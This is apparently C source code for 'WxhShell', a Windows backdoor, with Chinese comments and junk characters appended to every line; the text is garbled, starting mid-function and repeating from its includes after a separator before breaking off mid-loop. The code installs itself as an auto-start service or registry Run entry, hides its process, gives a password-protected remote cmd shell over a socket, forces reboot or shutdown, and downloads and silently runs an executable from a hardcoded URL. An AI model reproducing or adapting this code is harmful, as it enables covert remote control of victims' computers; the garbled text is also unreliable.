    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]srL>29_b  
    if(Boot(SHUTDOWN)) 0ie)$fi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vq#0MY)2gS  
    else { a"4X7 D+  
    closesocket(wsh); 21<Sfsc$  
    ExitThread(0); C+!=C{@7di  
    } Y[b08{/  
    break; xv>8rW(Np5  
    } 9`qw,X&AK_  
  // 获取shell WllQM,h  
  case 's': { Ot=nKdP}D  
    CmdShell(wsh); 'Kmf6iK>[  
    closesocket(wsh); i\ 7JQZ  
    ExitThread(0); cfBl HeYE  
    break; %t* 9sh  
  } JI-.SR  
  // 退出 AWFq5YMSI  
  case 'x': { I^LU*A=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V`/c#y||  
    CloseIt(wsh); D)4#AI  
    break; n|.eL8lX.<  
    } :Id8N~g  
  // 离开 [KGj70|~  
  case 'q': { \{*`-P v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g|^U?|;p  
    closesocket(wsh); TRgj`FG  
    WSACleanup(); lM#/F\  
    exit(1); X pK eN2=p  
    break; 3^H-,b0^  
        } qOD^ P  
  } w=nS*Qy 2  
  } ]GHw~s?  
!6taOT>v  
  // 提示信息 s 64@<oU<"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &`!H1E^  
} \ D>!&   
  } x^`P[>  
C.u) 2[(  
  return; Tsu\4 cL]  
} /i!/)]*-  
u1'l4VgT  
// shell模块句柄 Wxj(3lg/  
int CmdShell(SOCKET sock) Wl&6T1A`"  
{ +sZY0(|K8  
STARTUPINFO si; FD~uUZTM  
ZeroMemory(&si,sizeof(si)); #Wl9[W/4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~r})&`5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y9i+EV  
PROCESS_INFORMATION ProcessInfo; b,ZBol|X  
char cmdline[]="cmd"; %dd B$(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1,P2}mYv  
  return 0; UBnHtsM  
} yJ; ;&  
#K-O<:s=y  
// 自身启动模式 {vd +cE  
int StartFromService(void) Ly`.~t(~l  
{ ki `ur%h  
typedef struct !8 l &%  
{ 8v^AVg  
  DWORD ExitStatus; N#Nc{WU 'B  
  DWORD PebBaseAddress; >A L^y( G  
  DWORD AffinityMask; PEtr8J$uB  
  DWORD BasePriority; @&E7Pg5  
  ULONG UniqueProcessId; $ JCOL  
  ULONG InheritedFromUniqueProcessId; qMqf7 .  
}   PROCESS_BASIC_INFORMATION; Cw.DLg  
}p9#Bzc  
PROCNTQSIP NtQueryInformationProcess; ZD?LsD3  
zU|'IW&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5NK yF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }&Xf<6  
IQ~EL';<w  
  HANDLE             hProcess; Hb$wawy<  
  PROCESS_BASIC_INFORMATION pbi; J rYL8 1  
cKwmtmwB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nl-tJ.MU"  
  if(NULL == hInst ) return 0; L6=5]?B=  
d\ 7OtM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ` gor  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bHs},i6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NU7k2`bqAk  
TDR#'i  
  if (!NtQueryInformationProcess) return 0; D0gz ((  
do< N+iK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Jj1lAg 0  
  if(!hProcess) return 0; S: g 2V  
&:C(,`~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6se[>'5  
G>2: WQ/  
  CloseHandle(hProcess); 'Hq#9?<2M  
tF!C']  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Oh=Kl3xs  
if(hProcess==NULL) return 0; c<)O#i@3/  
C !Lu`y  
HMODULE hMod; w^ 8^0i-  
char procName[255]; f1Gyl  
unsigned long cbNeeded; gEq";B%?  
l2 #^}-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); > lK:~~1  
GtqA@&5&  
  CloseHandle(hProcess); c#[d7t8ONe  
a&n}pnEn)  
if(strstr(procName,"services")) return 1; // 以服务启动 hya $Vp  
`=W#owAF  
  return 0; // 注册表启动 [k,FJ5X  
} d6e]aO=g  
LaIH3!M3  
// 主模块 GmN~e*x>p  
int StartWxhshell(LPSTR lpCmdLine) m&6I@S2  
{ BMbZ34^e  
  SOCKET wsl; `uqsYY`V  
BOOL val=TRUE; HO8x:2m  
  int port=0; Z9I ?j1K|!  
  struct sockaddr_in door; J35[GZ';D  
;MKfssG  
  if(wscfg.ws_autoins) Install(); lJ4&kF=t  
B}ASZYpW>  
port=atoi(lpCmdLine); rgrsNr:1  
9D& 22hL4  
if(port<=0) port=wscfg.ws_port; {F$MZ2E  
Gc:oS vm  
  WSADATA data; &G!2T!xx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ].*I Z  
9Or  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l:"zYcp%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5sF?0P;ln  
  door.sin_family = AF_INET; jE, oEt O;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  .Aa(  
  door.sin_port = htons(port); _dw6 C2]P  
- z"D_5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l*4_  
closesocket(wsl); CEb al\R  
return 1; 6%UhP;(  
} I/w=!Ih  
pS<j>y  
  if(listen(wsl,2) == INVALID_SOCKET) { cvv(OkC  
closesocket(wsl); Iqm QQ_KH  
return 1; ,OaPrAt-  
} vEb_z[gd  
  Wxhshell(wsl); 9|LV x3]  
  WSACleanup(); 2sqNTuO6,|  
gPM<LO`;i  
return 0; ?Kf?Z`9 *Y  
iN@+,]Yjl  
} JlN<w  
' +[fJ>Le  
// 以NT服务方式启动 %N-f9o8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Mhj.3nN  
{ km#Rh^  
DWORD   status = 0; ]$a,/Jt  
  DWORD   specificError = 0xfffffff; N[dv  
b!-F!Lq/+0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C{Er%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O'<cEv'B*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1W2hd!J7C  
  serviceStatus.dwWin32ExitCode     = 0; {nlqQ.jO  
  serviceStatus.dwServiceSpecificExitCode = 0; x*z$4)RP  
  serviceStatus.dwCheckPoint       = 0; 92K#xM/  
  serviceStatus.dwWaitHint       = 0; Sg}]5Mn`  
aJ}Cq k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FrBJv<  
  if (hServiceStatusHandle==0) return; /\1MG>#K  
k'$UA$2d  
status = GetLastError(); `}9jvR5  
  if (status!=NO_ERROR) zkRL'-  
{ `$, \B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z3]ut #`  
    serviceStatus.dwCheckPoint       = 0; ")ZsY9-P  
    serviceStatus.dwWaitHint       = 0; F~_)auH  
    serviceStatus.dwWin32ExitCode     = status; vT>ki0P_;  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7IH^5r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3[O;HS3|  
    return; an9k2 F.)  
  } h,C?%H+/0Q  
MX{p)(HW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .V:H~  
  serviceStatus.dwCheckPoint       = 0; VY=c_Gl  
  serviceStatus.dwWaitHint       = 0; g<r'f"^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F( Iq8DV  
} r% ]^(  
6~j.S "  
// 处理NT服务事件,比如:启动、停止 27!9LU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #=B~} _  
{ &7\q1X&Rr  
switch(fdwControl) 3d|n\!1r  
{ :. ja~Q  
case SERVICE_CONTROL_STOP: w;p!~o &  
  serviceStatus.dwWin32ExitCode = 0; 0au\X$)Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cp7Rpqg  
  serviceStatus.dwCheckPoint   = 0; GGR hM1II  
  serviceStatus.dwWaitHint     = 0; " )87GQ(R  
  { \f7A j>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Vj,O?(Z  
  } On{p(| l  
  return; (X"WEp^Q{I  
case SERVICE_CONTROL_PAUSE: Gf{FFIe(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g^EkRBU  
  break; ^K K6 d  
case SERVICE_CONTROL_CONTINUE: a:(.{z?nM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s1eGItx[w  
  break; ?!J{Mrdn  
case SERVICE_CONTROL_INTERROGATE: m pWmExQ  
  break; K8UgP?c;0  
}; elBmF#,j 7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _g(4-\  
} &_EjP hZ  
@Gj|X>0  
// 标准应用程序主函数 MQv2C@K9F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ux Yb[Nbc  
{ M)oy3y^&  
!?7c2QRN  
// 获取操作系统版本 _bO4s#yI  
OsIsNt=GetOsVer(); IW.~I,!x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =A,6KY=E  
]`2=<n;=  
  // 从命令行安装 62 biOea  
  if(strpbrk(lpCmdLine,"iI")) Install(); u-a*fT  
n^Qt !~  
  // 下载执行文件 T*%Q s&x ;  
if(wscfg.ws_downexe) { A:3:Cr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9aE!! (E  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6_# >s1`R  
} t(|\3$z  
Lit@ m2{\  
if(!OsIsNt) { tDl1UX  
// 如果时win9x,隐藏进程并且设置为注册表启动 K)AJx"  
HideProc(); Q`dzn=  
StartWxhshell(lpCmdLine); [CU]fU{$  
} ]oN:MS4r  
else OI9V'W$  
  if(StartFromService()) X=<-rFW  
  // 以服务方式启动 :-=,([TJ  
  StartServiceCtrlDispatcher(DispatchTable); vElVw. P  
else zd+_ BPT  
  // 普通方式启动 ;MqH)M  
  StartWxhshell(lpCmdLine); cj:!uhZp7  
Ed%8| M3  
return 0; 5 ap~;t  
} h] (BTb#-  
qd9CKd  
mE"?{~XVL  
(YbRYu  
=========================================== S[bFS7[  
j#TtY|Po  
+K3SAGm  
/=zzym~<>  
S?bG U8R5  
Zjz< Q-  
" do2~LmeW  
N|v3a>;*l  
#include <stdio.h> 2[W1EQI  
#include <string.h> 5y. n  
#include <windows.h> Ri@`sc{n  
#include <winsock2.h> ZX0ZN2 ]  
#include <winsvc.h> Gu-*@C:^&  
#include <urlmon.h> 0k?ph$  
QPf#y7_@u  
#pragma comment (lib, "Ws2_32.lib") W?a2P6mAh  
#pragma comment (lib, "urlmon.lib") K0#kW \4`  
a sDq(J`sQ  
#define MAX_USER   100 // 最大客户端连接数 'Jb6CR n  
#define BUF_SOCK   200 // sock buffer MX%D %} N  
#define KEY_BUFF   255 // 输入 buffer b5hJaXJN  
Kp +Lk  
#define REBOOT     0   // 重启 &^C <J  
#define SHUTDOWN   1   // 关机 g7*ii X  
l^s\^b=W  
#define DEF_PORT   5000 // 监听端口 qHGXs@*M&  
AHq;6cG  
#define REG_LEN     16   // 注册表键长度 paUlp7x  
#define SVC_LEN     80   // NT服务名长度 tdTD!'  
V[R33NYG  
// 从dll定义API YlW~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oJ cR)H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KLI(Rve24  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '2u(fLq3h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xS) njuq4  
`.f {V  
// wxhshell配置信息 | fMjg'%{}  
struct WSCFG { c5K@<=?,E  
  int ws_port;         // 监听端口 =_%i5]89P  
  char ws_passstr[REG_LEN]; // 口令 8]6u]3q#  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z&hzsJK{m$  
  char ws_regname[REG_LEN]; // 注册表键名 V0Cz!YM_3  
  char ws_svcname[REG_LEN]; // 服务名 b_&;i4[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o#KGENd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /P~@__XN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sN^3bfi!i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &+?JY|u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @(Mg>.P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \bze-|C  
r7z8ICX'q  
}; D"WqJcDt  
,?"cKdiZ  
// default Wxhshell configuration pKf]&?FX  
struct WSCFG wscfg={DEF_PORT, |kwBb>V  
    "xuhuanlingzhe", 5cbtMNP  
    1, $EjM )  
    "Wxhshell", 4J=6A4O5Z  
    "Wxhshell", K-&&%Id6R  
            "WxhShell Service", ""[(e0oA  
    "Wrsky Windows CmdShell Service", 7 tOOruiC  
    "Please Input Your Password: ", |s&jWM$  
  1, @V/Lqia  
  "http://www.wrsky.com/wxhshell.exe", lsV9-)yyl  
  "Wxhshell.exe" C WJGr:}&  
    }; {Mc^[}9  
:` >|N|i  
// 消息定义模块 V[<]BOM\v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j?&Rf,,%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NZ(c>r6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MS~c  $  
char *msg_ws_ext="\n\rExit."; C9-IJj  
char *msg_ws_end="\n\rQuit."; \{F{yq(  
char *msg_ws_boot="\n\rReboot..."; u~#QvA~]  
char *msg_ws_poff="\n\rShutdown..."; tAfdbt  
char *msg_ws_down="\n\rSave to "; G3{t{XkV  
2ZMYA=[!  
char *msg_ws_err="\n\rErr!"; W=v4dy]B  
char *msg_ws_ok="\n\rOK!"; f\sxx!kt  
wYtL1D(  
char ExeFile[MAX_PATH]; `=A*ei5  
int nUser = 0; c+l1#[Dnc  
HANDLE handles[MAX_USER]; DPuz'e*  
int OsIsNt; (VYY-%N`  
*={` %  
SERVICE_STATUS       serviceStatus; hLyD#XCFA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6Q<^,`/T  
[AzQP!gi  
// 函数声明 i{8T 8  
int Install(void); r<]Db&k   
int Uninstall(void); M)Iu'  
int DownloadFile(char *sURL, SOCKET wsh); aRBTuLa)fo  
int Boot(int flag); }`g:) g J  
void HideProc(void); ?{s!.U[T@  
int GetOsVer(void); 7 jq?zS|  
int Wxhshell(SOCKET wsl); 5Xn+cw*  
void TalkWithClient(void *cs); 'p=5hsG  
int CmdShell(SOCKET sock); "mbcZ5 _  
int StartFromService(void); x{Y}1+Y4  
int StartWxhshell(LPSTR lpCmdLine); shbPy   
Nz`4q %+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S<"M5e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *I;,|Jjk  
6Z~u2&  
// 数据结构和表定义 Txkmt$h  
SERVICE_TABLE_ENTRY DispatchTable[] = ^,L vQW4  
{ H"|xG;cf  
{wscfg.ws_svcname, NTServiceMain}, 82% ~WQnS  
{NULL, NULL} v,Lv4)  
}; P-9[,3Zd  
3$Ew55  
// 自我安装 "(y",!U@  
int Install(void) -TKS`,#  
{ 70p1&Y7or  
  char svExeFile[MAX_PATH]; 8X=cGYC#  
  HKEY key; <vx/pH)f  
  strcpy(svExeFile,ExeFile); rrK&XP&  
 laX(?{_  
// 如果是win9x系统,修改注册表设为自启动 NG-Wn+W@b  
if(!OsIsNt) { fY@Y$S`Fh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yjZ]_.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1iq,Gd-G.  
  RegCloseKey(key); <7HVkAa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J&4QI( b.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `IQ01FuP  
  RegCloseKey(key); 5mB%Xh;bg  
  return 0; ]>fAV(ix  
    } YUo{e=m|  
  } 7a_pO1MBL  
} |;2Y|>=  
else { $mvcqn;  
]]lgCac_U9  
// 如果是NT以上系统,安装为系统服务 (4_7ICFI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )3<|<jwcx  
if (schSCManager!=0) EL!V\J`S_  
{ DA)+)PhY7K  
  SC_HANDLE schService = CreateService Q3MG+@)S  
  ( D"o}XTH  
  schSCManager, y=i_:d0M  
  wscfg.ws_svcname, ?! >B}e&,  
  wscfg.ws_svcdisp, T'9I&h%\  
  SERVICE_ALL_ACCESS, yX%T-/XJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .<zW(PW  
  SERVICE_AUTO_START, OE87&Cl"{t  
  SERVICE_ERROR_NORMAL, y6.}h9~  
  svExeFile, K;jV"R<9  
  NULL, WF0%zxg]  
  NULL, CZB!vh0  
  NULL, Qs2 E>C  
  NULL, ,bT|:T@ny  
  NULL Rd6? ,  
  ); 3R(GO.n=]  
  if (schService!=0) 8hWB TUN  
  { 0yW#).D^b  
  CloseServiceHandle(schService); n:JWu0,h  
  CloseServiceHandle(schSCManager); cW B>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $0WO 4C%M  
  strcat(svExeFile,wscfg.ws_svcname); `f.okqBAh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F"2v5F@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1e`/N+6u  
  RegCloseKey(key); x`8rR;N!  
  return 0; H..g2;D  
    } P3|_R HIb  
  } 4\'1j|nS[  
  CloseServiceHandle(schSCManager); hwF9LD~^  
} UhuEE  
} b%`^KEvwfo  
UM$\{$  
return 1; pvL)BD  
} )N[9r{3  
]v=*WK  
// 自我卸载  X._skq  
int Uninstall(void) FqQqjA  
{ ([~9v@+  
  HKEY key; E (DNK  
~hi\*W6jg  
if(!OsIsNt) { S9~X#tpKe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5WN^8`{'3  
  RegDeleteValue(key,wscfg.ws_regname); yZup4#>8  
  RegCloseKey(key); ZH8O%>!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V<~.:G$3H  
  RegDeleteValue(key,wscfg.ws_regname); <<#-IsT  
  RegCloseKey(key); _'9("m V  
  return 0; L:$kd `v[  
  } :s8^nEK  
} \lj.vzD-A  
} r* #ApM"L  
else { V1Yab#  
*_G(*yAe(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O;RsYs9  
if (schSCManager!=0) $OI 6^  
{ hdky:2^3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nulCk33x'=  
  if (schService!=0) t)|*-=  
  { wQR>S>p  
  if(DeleteService(schService)!=0) { l ;"v&?  
  CloseServiceHandle(schService); @<]sW*s  
  CloseServiceHandle(schSCManager); 3IXai)6U  
  return 0;  k I {)"  
  } l,cnM r^.W  
  CloseServiceHandle(schService); ks92-%;:  
  } ~{GbuoH  
  CloseServiceHandle(schSCManager); r!H'8O!  
} m80e^  
} G-`4TQ  
X}T/6zk  
return 1; 0k]$ he;h  
} `Y Hn L4  
*|)a@V L  
// 从指定url下载文件 <A{|=2<  
int DownloadFile(char *sURL, SOCKET wsh) !cP2,l 'f  
{ ^)$(Fe<  
  HRESULT hr; V<X[>C'  
char seps[]= "/"; l-;u*JA  
char *token; eqvbDva^  
char *file; 8 MIn~  
char myURL[MAX_PATH]; 0=N,y  
char myFILE[MAX_PATH]; >*DR>U  
&PY~m<F  
strcpy(myURL,sURL); 0$RZ~  
  token=strtok(myURL,seps); }xZR`xP(  
  while(token!=NULL) +NIq}fZn9  
  { cd_\?7  
    file=token; JbT+w \o  
  token=strtok(NULL,seps); q-7C7q  
  } ZAe'lgS  
X.~z:W+  
GetCurrentDirectory(MAX_PATH,myFILE); ze* =7  
strcat(myFILE, "\\"); =Uy;8et  
strcat(myFILE, file); r\#_b4-v3h  
  send(wsh,myFILE,strlen(myFILE),0); ZJL8"(/R  
send(wsh,"...",3,0); _v~c3y).  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q;9-aZ.H  
  if(hr==S_OK) C\%T|ZDE  
return 0; tK@|sZ>3\  
else "*08?KA  
return 1; R _#x  
=;9 %Q{  
} MW^(  
@Z0?1+k  
// 系统电源模块 A0mj!P9  
int Boot(int flag) 6"3-8orj   
{ p~(+4uA  
  HANDLE hToken; m Acny$u  
  TOKEN_PRIVILEGES tkp; ;/ wl.'GA  
~_l@ _P5yz  
  if(OsIsNt) { -PfBL8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 54[#&T$S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z1dSZ0NoA  
    tkp.PrivilegeCount = 1; e}@VR<h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U.XvS''E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G =`-w  
if(flag==REBOOT) { k2bjBAT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n $Nw/Vm  
  return 0; r"E%U:y3P  
} ALcin))+B  
else { +0,'B5 (E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UCu0Xqf  
  return 0; '3%JhG)#  
} 1omjP`]|,  
  } u^6@!M  
  else { Q#kSp8  
if(flag==REBOOT) { }j+Af["W?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EY$Dtb+g8  
  return 0; pm2-F]  
} QoLp$1O (y  
else { ?L K n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B#Q` !B4v  
  return 0; ar&j1""  
} }-Ds%L  
} `ef C4#*!!  
0H$6_YX4 A  
return 1; ni2GZ<1j  
} RB\ Hl  
]izrr  
// win9x进程隐藏模块 uez"{_I  
void HideProc(void) b]0]*<~y  
{ LDDg g u   
>m$jJlAv8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /D d.C<F  
  if ( hKernel != NULL )  W8blHw"  
  { `}r)0,Z}3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xL&evG#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LiG!xs  
    FreeLibrary(hKernel); pwF+ZNo  
  } ^_4e^D]P"  
XC(:O(jdA2  
return; 64LX[8Ax#  
} fMpxe(  
`p!&>,lrk  
// 获取操作系统版本 MV{\:l}y  
int GetOsVer(void) [ Xa,|  
{ %fT%,( w}t  
  OSVERSIONINFO winfo; -R]Iu\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vU,V[1^a  
  GetVersionEx(&winfo); &6feR#~A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bUzo>fm_  
  return 1; ,59G6o  
  else f:9b q}vH  
  return 0; `w6*(t:T  
} (HEi;  
3 as~yF0  
// 客户端句柄模块 opXxtYC@  
int Wxhshell(SOCKET wsl) d/8p?Km  
{ "|Ke/0rGB  
  SOCKET wsh; f};RtRo2  
  struct sockaddr_in client; _2-fH  
  DWORD myID; *5QN:  
f7lt|.p  
  while(nUser<MAX_USER) =:M/hM)#  
{ QGCg~TV;  
  int nSize=sizeof(client); o&t*[#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~|lEi1|  
  if(wsh==INVALID_SOCKET) return 1; @3w6 !Sgh  
*b}/fG)XZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H|Y*TI2vf8  
if(handles[nUser]==0) &lCOhP#  
  closesocket(wsh); a1>Tz  
else sSLV R^  
  nUser++; P5JE = &M  
  } bJ"}-s+Dx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :[:*kbWN-  
kOE\.}~4  
  return 0; _v#Vf*#  
} Zt"#'1  
SHc?C&^S  
// 关闭 socket f`s.|99Y  
void CloseIt(SOCKET wsh) s/l>P~3=  
{ B,q)<z6<  
closesocket(wsh); 7;I;(iY  
nUser--; ]Sey|/@D  
ExitThread(0); +=`*`eP:U  
} |2Y/l~  
E5$Fhc   
// 客户端请求句柄 b$eN]L   
void TalkWithClient(void *cs) 43}uW, P  
{ ~} 02q5H  
!C&  ^%a  
  SOCKET wsh=(SOCKET)cs; SIZ&0V  
  char pwd[SVC_LEN]; HdR TdV  
  char cmd[KEY_BUFF]; >1qum'  
char chr[1]; 8DuD1hZq  
int i,j; HEk{!Y  
,rNv}  
  while (nUser < MAX_USER) { }Ip1|Gj  
]IclA6  
if(wscfg.ws_passstr) { vn+~P9SHQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [ KDNKK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }*P?KV (  
  //ZeroMemory(pwd,KEY_BUFF); rw$ =!iyO  
      i=0; N}ugI`:  
  while(i<SVC_LEN) { ?{;7\1 [4  
IkuE|  
  // 设置超时 NI:3hfs  
  fd_set FdRead; YO9ofT  
  struct timeval TimeOut; C"0vMUZ  
  FD_ZERO(&FdRead); K8JshF Ie  
  FD_SET(wsh,&FdRead); [#SiwhF|  
  TimeOut.tv_sec=8; c :2w(BVi  
  TimeOut.tv_usec=0; ":_~(?1+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )zydD=,bu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \>tx:;D3  
 K,o&gY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KTE X]  
  pwd=chr[0]; V6bjVd9|Z  
  if(chr[0]==0xd || chr[0]==0xa) { )*L=$0R  
  pwd=0; O'{g{  
  break; J)EL<K$Z[  
  } YmwXA e:  
  i++; :CsrcT=  
    } 6IJH%qUx'  
pupt__NZ)n  
  // 如果是非法用户,关闭 socket pE {yVs  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z+K1[1SM  
} p Le[<N  
I_Omv{&u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gh-i| i,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ltk-1zhI  
hs*n?vxp3  
while(1) { $q##Tys  
} 4ZWAzH  
  ZeroMemory(cmd,KEY_BUFF); IAJ+n0U  
\b}%A&Ij  
      // 自动支持客户端 telnet标准   y q!{\@-  
  j=0; 1pz-jo,2'  
  while(j<KEY_BUFF) { + } y"S-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RB9ZaL\  
  cmd[j]=chr[0]; $>zqCi2tB<  
  if(chr[0]==0xa || chr[0]==0xd) { AqT}^fS  
  cmd[j]=0;  Khh}flRy  
  break; X G E.*aI  
  } :W9a t  
  j++; Ri>ZupQ6  
    } Dqc2;>  
XM)  
  // 下载文件 5 FE&  
  if(strstr(cmd,"http://")) { f#\Nz>tOhE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A*{CT>  
  if(DownloadFile(cmd,wsh)) +`ug?`_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aP]h03sS  
  else 92ngSaNC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BZ,{gy7g7X  
  } AYAbq}'Yt  
  else { 4+Jf!ovS=  
